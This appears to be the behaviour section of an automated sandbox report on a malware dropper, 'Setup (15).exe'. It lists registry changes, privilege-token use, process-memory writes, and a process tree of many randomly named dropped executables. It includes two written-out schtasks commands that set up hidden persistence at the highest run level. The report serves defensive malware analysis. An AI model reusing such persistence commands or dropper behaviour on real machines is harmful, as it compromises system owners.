Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	sihclient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	sihclient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	sihclient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	sihclient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	sihclient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	sihclient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	sihclient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	sihclient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	sihclient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	sihclient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	sihclient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	sihclient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	sihclient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	sihclient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	sihclient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	sihclient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	sihclient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	sihclient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	sihclient.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Classes\Local Settings\MuiCache	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	sihclient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	sihclient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	sihclient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	sihclient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	sihclient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	sihclient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	sihclient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	sihclient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	sihclient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	sihclient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	sihclient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	sihclient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	sihclient.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Classes\Local Settings\MuiCache\7\52C64B7E	svchost.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
8356	PING.EXE

Script User-Agent 6 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	91	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	97	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	150	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	223	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	449	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	489	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
3604	Setup (15).exe
3604	Setup (15).exe
1656	WerFault.exe
1656	WerFault.exe
4064	WerFault.exe
4064	WerFault.exe
4980	WerFault.exe
4980	WerFault.exe
2412	WerFault.exe
2412	WerFault.exe
4160	mshta.exe
4160	mshta.exe
4160	mshta.exe
4160	mshta.exe
4160	mshta.exe
4160	mshta.exe
4160	mshta.exe
4160	mshta.exe
4160	mshta.exe
4160	mshta.exe
4160	mshta.exe
4160	mshta.exe
3692	WerFault.exe
3692	WerFault.exe
5400	WerFault.exe
5400	WerFault.exe
1160	WerFault.exe
1160	WerFault.exe
5996	WerFault.exe
5996	WerFault.exe
6316	msedge.exe
6316	msedge.exe
2376	xsX_K9gzdoPQHq2lB6Th8U3h.exe
2376	xsX_K9gzdoPQHq2lB6Th8U3h.exe
5680	msedge.exe
5680	msedge.exe
1300	R0kz5guTQzQNUqWyhke1mfl2.exe
1300	R0kz5guTQzQNUqWyhke1mfl2.exe
5816	7noQoxsVgLBBtgcZWelnZEHN.exe
5816	7noQoxsVgLBBtgcZWelnZEHN.exe
3664	mpcmdrun.exe
3664	mpcmdrun.exe
5296	2407026.exe
5296	2407026.exe
3228	1002164.exe
3228	1002164.exe
7384	T1vR4WrDcDSogjCwBQvMGbKr.exe
7384	T1vR4WrDcDSogjCwBQvMGbKr.exe
7960	Setup.exe
7960	Setup.exe
7960	Setup.exe
7960	Setup.exe
7960	Setup.exe
7960	Setup.exe
7960	Setup.exe
7960	Setup.exe
3188	WerFault.exe
3188	WerFault.exe
6612	WerFault.exe
6612	WerFault.exe
1300	R0kz5guTQzQNUqWyhke1mfl2.exe
1300	R0kz5guTQzQNUqWyhke1mfl2.exe
5032	T1vR4WrDcDSogjCwBQvMGbKr.exe
5032	T1vR4WrDcDSogjCwBQvMGbKr.exe

Suspicious behavior: SetClipboardViewer 3 IoCs

pid	Process
1892	WinHoster.exe
6256	3721071.exe
7028	4052834.exe

Suspicious use of AdjustPrivilegeToken 38 IoCs

description	pid	Process
Token: SeDebugPrivilege	3016	P16ofDXrRIjcgmlh_CM6ho3M.exe
Token: SeRestorePrivilege	4064	WerFault.exe
Token: SeBackupPrivilege	4064	WerFault.exe
Token: SeRestorePrivilege	1656	WerFault.exe
Token: SeBackupPrivilege	1656	WerFault.exe
Token: SeDebugPrivilege	3920	pS1lAs69AU4dP7M5ZxgsPSZ4.exe
Token: SeDebugPrivilege	2156	taskkill.exe
Token: SeDebugPrivilege	3664	mpcmdrun.exe
Token: SeDebugPrivilege	3228	1002164.exe
Token: SeDebugPrivilege	5296	2407026.exe
Token: SeDebugPrivilege	5816	3471799.exe
Token: SeDebugPrivilege	1300	R0kz5guTQzQNUqWyhke1mfl2.exe
Token: SeDebugPrivilege	2428	T1vR4WrDcDSogjCwBQvMGbKr.exe
Token: SeDebugPrivilege	1056	PBrowFile15.exe
Token: SeDebugPrivilege	4768	sm9PYHfj18WU6helQ6bqJ_DZ.exe
Token: SeDebugPrivilege	3416	LivelyScreenRecS3.0.exe
Token: SeDebugPrivilege	5032	T1vR4WrDcDSogjCwBQvMGbKr.exe
Token: SeDebugPrivilege	2864	2485647.exe
Token: SeDebugPrivilege	5196	7noQoxsVgLBBtgcZWelnZEHN.exe
Token: SeDebugPrivilege	6892	7027058.exe
Token: SeDebugPrivilege	2376	xsX_K9gzdoPQHq2lB6Th8U3h.exe
Token: SeDebugPrivilege	7044	R0kz5guTQzQNUqWyhke1mfl2.exe
Token: SeDebugPrivilege	7096	T1vR4WrDcDSogjCwBQvMGbKr.exe
Token: SeDebugPrivilege	6912	7237574.exe
Token: SeDebugPrivilege	2252	4910961.exe
Token: SeDebugPrivilege	1524	4212694.exe
Token: SeTcbPrivilege	7972	svchost.exe
Token: SeTcbPrivilege	7972	svchost.exe
Token: SeTcbPrivilege	7972	svchost.exe
Token: SeTcbPrivilege	7972	svchost.exe
Token: SeTcbPrivilege	7972	svchost.exe
Token: SeTcbPrivilege	7972	svchost.exe
Token: SeDebugPrivilege	6600	6120596.exe
Token: SeDebugPrivilege	8572	fxSUQFUhLcb_Q39QElMyGrjY.exe
Token: SeDebugPrivilege	6720	4559118.exe
Token: SeDebugPrivilege	6308	3302361.exe
Token: SeDebugPrivilege	6416	2020440.exe
Token: SeDebugPrivilege	2352	9mplQmv7sQLRYMzIfSW2vUS3.exe

Suspicious use of FindShellTrayWindow 10 IoCs

pid	Process
3440	yS9T56oZWXoqJTlZbDPY26ud.tmp
3952	stats.tmp
5680	msedge.exe
8612	BZeU4lMhFfx5qWOcPl9fP7gF.tmp
9828	Tra.exe.com
9828	Tra.exe.com
9828	Tra.exe.com
9712	Tra.exe.com
9712	Tra.exe.com
9712	Tra.exe.com

Suspicious use of SendNotifyMessage 6 IoCs

pid	Process
9828	Tra.exe.com
9828	Tra.exe.com
9828	Tra.exe.com
9712	Tra.exe.com
9712	Tra.exe.com
9712	Tra.exe.com

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3604 wrote to memory of 1212	3604	Setup (15).exe	80
PID 3604 wrote to memory of 1212	3604	Setup (15).exe	80
PID 3604 wrote to memory of 1212	3604	Setup (15).exe	80
PID 3604 wrote to memory of 1312	3604	Setup (15).exe	81
PID 3604 wrote to memory of 1312	3604	Setup (15).exe	81
PID 3604 wrote to memory of 1312	3604	Setup (15).exe	81
PID 3604 wrote to memory of 1440	3604	Setup (15).exe	82
PID 3604 wrote to memory of 1440	3604	Setup (15).exe	82
PID 3604 wrote to memory of 1440	3604	Setup (15).exe	82
PID 3604 wrote to memory of 1412	3604	Setup (15).exe	83
PID 3604 wrote to memory of 1412	3604	Setup (15).exe	83
PID 3604 wrote to memory of 1412	3604	Setup (15).exe	83
PID 3604 wrote to memory of 1472	3604	Setup (15).exe	84
PID 3604 wrote to memory of 1472	3604	Setup (15).exe	84
PID 3604 wrote to memory of 1472	3604	Setup (15).exe	84
PID 3604 wrote to memory of 1152	3604	Setup (15).exe	92
PID 3604 wrote to memory of 1152	3604	Setup (15).exe	92
PID 3604 wrote to memory of 1300	3604	Setup (15).exe	93
PID 3604 wrote to memory of 1300	3604	Setup (15).exe	93
PID 3604 wrote to memory of 1300	3604	Setup (15).exe	93
PID 3604 wrote to memory of 1852	3604	Setup (15).exe	91
PID 3604 wrote to memory of 1852	3604	Setup (15).exe	91
PID 3604 wrote to memory of 1852	3604	Setup (15).exe	91
PID 3604 wrote to memory of 3636	3604	Setup (15).exe	87
PID 3604 wrote to memory of 3636	3604	Setup (15).exe	87
PID 3604 wrote to memory of 3636	3604	Setup (15).exe	87
PID 3604 wrote to memory of 1880	3604	Setup (15).exe	90
PID 3604 wrote to memory of 1880	3604	Setup (15).exe	90
PID 3604 wrote to memory of 1880	3604	Setup (15).exe	90
PID 3604 wrote to memory of 5048	3604	Setup (15).exe	86
PID 3604 wrote to memory of 5048	3604	Setup (15).exe	86
PID 3604 wrote to memory of 5048	3604	Setup (15).exe	86
PID 3604 wrote to memory of 5056	3604	Setup (15).exe	89
PID 3604 wrote to memory of 5056	3604	Setup (15).exe	89
PID 3604 wrote to memory of 5056	3604	Setup (15).exe	89
PID 3604 wrote to memory of 5032	3604	Setup (15).exe	88
PID 3604 wrote to memory of 5032	3604	Setup (15).exe	88
PID 3604 wrote to memory of 5032	3604	Setup (15).exe	88
PID 3604 wrote to memory of 2036	3604	Setup (15).exe	85
PID 3604 wrote to memory of 2036	3604	Setup (15).exe	85
PID 3604 wrote to memory of 2036	3604	Setup (15).exe	85
PID 3604 wrote to memory of 2376	3604	Setup (15).exe	95
PID 3604 wrote to memory of 2376	3604	Setup (15).exe	95
PID 3604 wrote to memory of 2376	3604	Setup (15).exe	95
PID 3604 wrote to memory of 2472	3604	Setup (15).exe	96
PID 3604 wrote to memory of 2472	3604	Setup (15).exe	96
PID 3604 wrote to memory of 2472	3604	Setup (15).exe	96
PID 3604 wrote to memory of 3016	3604	Setup (15).exe	99
PID 3604 wrote to memory of 3016	3604	Setup (15).exe	99
PID 3604 wrote to memory of 3688	3604	Setup (15).exe	98
PID 3604 wrote to memory of 3688	3604	Setup (15).exe	98
PID 3604 wrote to memory of 3688	3604	Setup (15).exe	98
PID 3604 wrote to memory of 4768	3604	Setup (15).exe	108
PID 3604 wrote to memory of 4768	3604	Setup (15).exe	108
PID 3604 wrote to memory of 4768	3604	Setup (15).exe	108
PID 3604 wrote to memory of 1652	3604	Setup (15).exe	107
PID 3604 wrote to memory of 1652	3604	Setup (15).exe	107
PID 3604 wrote to memory of 1652	3604	Setup (15).exe	107
PID 3604 wrote to memory of 4496	3604	Setup (15).exe	106
PID 3604 wrote to memory of 4496	3604	Setup (15).exe	106
PID 3604 wrote to memory of 4496	3604	Setup (15).exe	106
PID 3604 wrote to memory of 448	3604	Setup (15).exe	111
PID 3604 wrote to memory of 448	3604	Setup (15).exe	111
PID 3604 wrote to memory of 448	3604	Setup (15).exe	111

C:\Users\Admin\AppData\Local\Temp\Setup (15).exe
"C:\Users\Admin\AppData\Local\Temp\Setup (15).exe"
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3604
- C:\Users\Admin\Documents\oVqZpEClc7pin1vVFpe44nxh.exe
  "C:\Users\Admin\Documents\oVqZpEClc7pin1vVFpe44nxh.exe"
  2⤵
  - Executes dropped EXE
  PID:1212
- C:\Users\Admin\Documents\6HArcFNxuMLRyOVZuW33yZTr.exe
  "C:\Users\Admin\Documents\6HArcFNxuMLRyOVZuW33yZTr.exe"
  2⤵
  - Executes dropped EXE
  PID:1312
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 1312 -s 280
    3⤵
    - Program crash
    - Checks processor information in registry
    - Enumerates system info in registry
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1656
- C:\Users\Admin\Documents\Gn6IQGGC247F9azIFetpAORy.exe
  "C:\Users\Admin\Documents\Gn6IQGGC247F9azIFetpAORy.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in Program Files directory
  PID:1440
- - C:\Users\Admin\Documents\J77cmUgJX0OQi4nZtiqUPG2L.exe
    "C:\Users\Admin\Documents\J77cmUgJX0OQi4nZtiqUPG2L.exe"
    3⤵
    PID:4160
  - - C:\Users\Admin\Documents\D8yXM9eLWnP7bOeKA2sqxWzz.exe
      "C:\Users\Admin\Documents\D8yXM9eLWnP7bOeKA2sqxWzz.exe"
      4⤵
      PID:5592
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 5592 -s 280
        5⤵
        Program crash
        Checks processor information in registry
        Enumerates system info in registry
        Suspicious behavior: EnumeratesProcesses
        
        PID:5996
  - - C:\Users\Admin\Documents\VANK2aMMhI2m937DyosAkDEb.exe
      "C:\Users\Admin\Documents\VANK2aMMhI2m937DyosAkDEb.exe"
      4⤵
      PID:2428
    - - C:\Users\Admin\AppData\Roaming\3721071.exe
        
        "C:\Users\Admin\AppData\Roaming\3721071.exe"
        5⤵
        Suspicious behavior: SetClipboardViewer
        
        PID:6256
    - - C:\Users\Admin\AppData\Roaming\7864479.exe
        
        "C:\Users\Admin\AppData\Roaming\7864479.exe"
        5⤵
        
        PID:7096
      - C:\Windows\system32\WerFault.exe
        
        C:\Windows\system32\WerFault.exe -u -p 7096 -s 2296
        6⤵
        Program crash
        
        PID:9672
      - C:\Windows\system32\WerFault.exe
        
        C:\Windows\system32\WerFault.exe -u -p 7096 -s 2296
        6⤵
        Program crash
        
        PID:5584
    - - C:\Users\Admin\AppData\Roaming\4952038.exe
        
        "C:\Users\Admin\AppData\Roaming\4952038.exe"
        5⤵
        
        PID:7044
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 7044 -s 2416
        6⤵
        Program crash
        
        PID:9696
    - - C:\Users\Admin\AppData\Roaming\6120596.exe
        
        "C:\Users\Admin\AppData\Roaming\6120596.exe"
        5⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:6600
    - - C:\Users\Admin\AppData\Roaming\2020440.exe
        
        "C:\Users\Admin\AppData\Roaming\2020440.exe"
        5⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:6416
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl LG" /sc ONLOGON /rl HIGHEST
    3⤵
    - Creates scheduled task(s)
    PID:2848
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl HR" /sc HOURLY /rl HIGHEST
    3⤵
    - Creates scheduled task(s)
    PID:2216
- C:\Users\Admin\Documents\zQV5DgrHRg2FoIip1FWqVRwo.exe
  "C:\Users\Admin\Documents\zQV5DgrHRg2FoIip1FWqVRwo.exe"
  2⤵
  - Executes dropped EXE
  PID:1412
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 1412 -s 280
    3⤵
    - Program crash
    - Checks processor information in registry
    - Enumerates system info in registry
    - Suspicious behavior: EnumeratesProcesses
    PID:4980
- C:\Users\Admin\Documents\cM775w5s6FbQBcukhv8b0GUT.exe
  "C:\Users\Admin\Documents\cM775w5s6FbQBcukhv8b0GUT.exe"
  2⤵
  - Executes dropped EXE
  PID:1472
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 1472 -s 280
    3⤵
    - Program crash
    - Checks processor information in registry
    - Enumerates system info in registry
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4064
- C:\Users\Admin\Documents\xsh_JRTNhnaSsr0N0iyGUKJl.exe
  "C:\Users\Admin\Documents\xsh_JRTNhnaSsr0N0iyGUKJl.exe"
  2⤵
  - Executes dropped EXE
  PID:2036
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 2036 -s 244
    3⤵
    - Program crash
    - Checks processor information in registry
    - Enumerates system info in registry
    - Suspicious behavior: EnumeratesProcesses
    PID:5400
- C:\Users\Admin\Documents\vcgP_3juGzHeGgIt97Ec6H6N.exe
  "C:\Users\Admin\Documents\vcgP_3juGzHeGgIt97Ec6H6N.exe"
  2⤵
  - Executes dropped EXE
  PID:5048
- C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
  "C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  PID:3636
- - C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    3⤵
    - Suspicious use of NtCreateProcessExOtherParentProcess
    - Executes dropped EXE
    PID:1132
- - C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    3⤵
    - Executes dropped EXE
    PID:3504
- - C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    3⤵
    - Executes dropped EXE
    PID:5148
- - C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    3⤵
    - Executes dropped EXE
    PID:6136
- - C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    3⤵
    - Executes dropped EXE
    PID:5272
- - C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    3⤵
    PID:1528
- - C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    3⤵
    PID:3932
- - C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    3⤵
    PID:3332
- - C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    3⤵
    PID:4808
- - C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    3⤵
    PID:6776
- - C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    3⤵
    PID:6428
- - C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    3⤵
    PID:4252
- - C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    3⤵
    PID:7916
- - C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    3⤵
    PID:4664
- - C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    3⤵
    PID:2752
- - C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    3⤵
    PID:3224
- - C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    3⤵
    PID:5244
- - C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    3⤵
    - Checks processor information in registry
    - Enumerates system info in registry
    - Suspicious behavior: EnumeratesProcesses
    PID:7384
- - C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    3⤵
    PID:8728
- - C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    3⤵
    PID:8260
- - C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    3⤵
    PID:4848
- - C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    3⤵
    PID:7016
- - C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    3⤵
    PID:9440
- - C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    3⤵
    PID:9976
- - C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    3⤵
    PID:9636
- - C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    3⤵
    PID:4804
- - C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    3⤵
    - Drops file in Program Files directory
    PID:9020
- - C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    3⤵
    PID:9840
- - C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    3⤵
    PID:9916
- - C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    3⤵
    - Checks BIOS information in registry
    - Checks whether UAC is enabled
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:5032
- - C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    3⤵
    PID:7152
- - C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    3⤵
    PID:4704
- - C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    3⤵
    PID:3176
- - C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    3⤵
    PID:9576
- - C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    3⤵
    PID:1580
- - C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    3⤵
    PID:2424
- - C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    3⤵
    PID:7444
- - C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    3⤵
    PID:4756
- - C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    3⤵
    PID:804
- - C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    3⤵
    PID:4328
- - C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    3⤵
    PID:7036
- - C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    3⤵
    PID:8768
- - C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    3⤵
    PID:10000
- - C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    3⤵
    PID:4872
- - C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    3⤵
    PID:9896
- - C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    3⤵
    PID:8596
- - C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    3⤵
    PID:1412
- - C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    3⤵
    PID:3168
- - C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    3⤵
    PID:2228
- - C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    C:\Users\Admin\Documents\T1vR4WrDcDSogjCwBQvMGbKr.exe
    3⤵
    PID:8608
